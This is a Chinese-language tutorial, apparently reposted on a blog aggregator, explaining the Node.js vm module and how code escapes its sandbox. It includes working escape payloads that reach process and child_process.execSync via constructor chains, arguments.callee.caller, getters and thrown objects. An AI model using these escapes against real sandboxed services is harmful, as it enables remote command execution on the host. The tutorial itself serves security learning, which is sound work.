当前位置: 首页>前端>正文

vm沙箱逃逸

什么是沙箱?

沙箱属于docker的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开,防止主机受到有害程序污染。在Nodejs里,可以通过引入vm模块来创建一个沙箱,但是这个沙箱模块的隔离功能并不完善,所以Node后续升级了vm,也就是vm2

vm一些模块的使用

  • vm.runInThisContext(code[, options]):创建一个独立的沙箱运行空间,在当前global的上下文运行它并返回运行结果,code内的代码可以访问外部的global对象,但是不能访问局部作用域
var vm=require("vm");
var p=5;
global.p=8;
vm.runInThisContext("console.log(p)");//8
vm.runInThisCOntext("console.log(global)");
//输出global属性,p:8挂载在global下面
console.log(p);//5
  • vm.createContext([contextObject[, options]]):创建可用于运行多个脚本的单个上下文。在使用之前需要创造一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
  • vm.runInContext(code, contextifiedObject[, options]):创建一个独立的沙箱运行空间,在contextifieldObject的上下文中运行它,返回运行结果,运行代码无权访问本地作用域。contextfieldObject对象必须是vm.createContext()方法创建的sandbox
const vm = require('vm');
global.globalVar = 3;
const context = { globalVar: 1 };//创造沙箱对象
vm.createContext(context);//在global外在创造一个上下文
vm.runInContext('globalVar *= 2;', context);
console.log(context.globalVar);//2
console.log(global.globalVar);//3
  • vm.Script类vm.Sciprt类的实例包含可以在特定上下文中执行的预编译脚本
  • new vm.Script(code[, options]):创建新的 vm.Script 对象编译 code 但不运行它。编译后的 vm.Script 可以多次运行。code 没有绑定到任何全局对象

也就是说,只有vm.runInThisContext可以访问到global属性,这里借用两张图

vm沙箱逃逸,vm沙箱逃逸_ctf,第1张

vm沙箱逃逸,vm沙箱逃逸_nodejs_02,第2张

vm沙箱逃逸

所谓沙箱逃逸,就是从沙箱这个封闭的环境里跳脱出来,获取全局对象global的全局变量process,再通过require导入child_process来进行rce。例如

global.process.mainModule.require('child_process').execSync('whoami').toString()

但是前面说到,createContext后是不能访问到global的,所以最终目标是将global上的process引入到沙箱中

const vm=require("vm");
const y1=vm.runInNewContext(`this.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()')()`);
console.log(y1);
//const y2=vm.runInNewContext(`this.constructor。constructor('return process()`)
//y2.mainModule.require("child_process").execSync("whoami").toString()

用反引号包裹命令可以更好地执行,不过不包裹好像也没有问题。

vm沙箱逃逸,vm沙箱逃逸_web安全_03,第3张

这里将字符串执行为代码用的方式是new Function,具体细节就不说了,详解可以看这里。这里的this指的是传给runInNewContext的对象,先获取对象的构造器(object)再获取构造器对象的构造器(Function),最终通过return process()来rce。

const y1=vm.runInNewContext(`this.toString.constructor('return process')`)

也是可行的

还有一个问题就是如果this的类型为数字、字符串、布尔值的话,是否还能访问到global下呢?答案是不行的,这些都是primitive类型的,他们在传递的过程中是将值传递过去而不是引用,在沙箱内的值已经不原来挂载在global下的值了

const vm = require('vm');

const script = new vm.Script(`
(e=>{
    const y1=n.toString.constructor('return process')();
    return y1.mainModule.require('child_process').execSync('whoami').toString();
    //const y2=m.constructor.constructor('return process')();
    //return y2;
    //ReferenceError: process is not defined
})()
`);
const sandbox = { m: {}, n: 1, x: [], y:/hello/};//其中y是一个正则表达式对象
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res)

沙箱逃逸的其他情况

很多时候传入沙箱的是一个空的对象null,开发者直接在沙箱环境内创建对象,也没有可以获取的外部对象,这时候要逃逸就得用到一个函数中的内置对象的属性arguments.callee.caller,这个函数可以返回函数的调用者,所以我们只用在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么arguments.callee.caller就会返回沙箱外的一个对象,进而可以在沙箱内进行逃逸了。

最常用的是toString,只要有字符串的拼接,toString就会被自动调用

如果沙箱外没有触发toString,可以用Proxy来劫持属性,Proxy和Reflect

在get这个钩子下写入恶意函数,只要在沙箱外访问代理对象Proxy的属性,不管这个属性是否存在,get都会自动运行

还有一种情况就是返回值不可利用或者没有返回值,这时候可以利用throw将Proxy对象抛出,再用catch捕捉到e,将错误信息和执行结果一并输出

也可以通过__defineGetter__来添加属性,当访问到属性时会自动调用函数并返回值

......
let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller;
const p = (c.constructor.constructor('return process'));
return p.mainModule.require('child_process').execSync('whoami').read();
})
throw obj
......
console.log(obj.message);

vm2沙箱逃逸

从上面的例子可以看出,vm的隔离功能并不好,,,逃逸起来非常容易。vm2在vm的基础上对安全性做了进一步的完善,vm2沙箱逃逸分析指路vm2实现原理分析-安全客 - 安全资讯平台 (anquanke.com)

const {VM, VMScript} = require('vm2');
const script = new VMScript("let a = 2;a;");
console.log((new VM()).run(script));

直接放一张文章里的vm2的执行原理

vm沙箱逃逸,vm沙箱逃逸_web安全_04,第4张


https://www.xamrdz.com/web/2a91924048.html

相关文章: